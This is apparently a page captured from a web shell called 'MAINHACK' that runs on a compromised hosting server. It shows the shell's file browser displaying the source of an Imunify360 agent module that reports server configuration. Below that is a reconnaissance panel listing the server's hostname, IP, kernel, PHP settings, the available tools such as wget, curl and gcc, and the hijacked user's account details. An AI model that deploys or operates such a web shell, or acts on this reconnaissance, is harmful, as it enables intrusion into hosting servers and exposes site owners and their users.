[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: send_server_config.py
File is not writable. Editing disabled.
from asyncio import CancelledError from logging import getLogger from defence360agent.plugins.send_server_config import ( SendServerConfig as SendServerConfigAV, ) from defence360agent.subsys.panels.base import ( ModsecVendorsError, PanelException, ) from defence360agent.utils import Scope from im360.model.incident import DisabledRule from im360.subsys import ossec from im360.subsys.features import InvisibleCaptcha from im360.subsys.panels import hosting_panel from im360.subsys.panels.base import ( ModsecImunifyVendorNotInstalled, ModsecNotInstalledVendors, ) logger = getLogger(__name__) NON_IMUNIFY_VENDOR = 'non-imunify-vendor' NO_VENDORS_INSTALLED = 'no-vendors-installed' class SendServerConfig(SendServerConfigAV): SCOPE = Scope.IM360 async def _create_server_config_msg(self): msg = await super()._create_server_config_msg() hp = hosting_panel.HostingPanel() try: invisible_captcha = await InvisibleCaptcha().check_installed() except CancelledError: raise except Exception: invisible_captcha = False msg['invisible_captcha'] = invisible_captcha modsec_installed = await hp.installed_modsec() vendor_name = None vendor_version = None vendor_enabled = None active_vendors = None if modsec_installed: try: vendor_name = await hp.get_modsec_vendor_from_release_file() except ModsecImunifyVendorNotInstalled as e: logger.warning(str(e)) vendor_name = NON_IMUNIFY_VENDOR except ModsecNotInstalledVendors as e: logger.warning(str(e)) vendor_name = NO_VENDORS_INSTALLED except ModsecVendorsError as e: logger.warning(str(e)) else: try: # Do not forget to modify getting vendor_enabled flag # when we will do DEF-9878 vendor_enabled = bool( vendor_name in await hp.enabled_modsec_vendor_list()) except PanelException as e: logger.warning("Cannot determine if vendor is enabled " "because we can't get enabled vendors " "list: %s", str(e)) try: vendor_version = await hp.get_i360_vendor_version() except (ModsecVendorsError, PanelException) as e: logger.warning("Cannot determine Imunify360 " "vendor version: %s", str(e)) try: active_vendors = await hp.enabled_modsec_vendor_list() except Exception as e: logger.warning("Cannot determine active vendors: %s", str(e)) modsec_msg = { "vendor": vendor_name, "enabled": vendor_enabled, "version": vendor_version, "modsec_installed": modsec_installed, "engine_mode": hp.get_modsec_engine_mode(), "active_vendors": active_vendors, "conf_files": hp.get_modsec_active_conf_files(), "vendor_updates": hp.get_modsec_vendor_updates(), } msg['modsec'] = modsec_msg msg['ossec'] = { 'version': ossec.get_rules_version() } msg["disabled_rules"] = DisabledRule.as_list() return msg
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A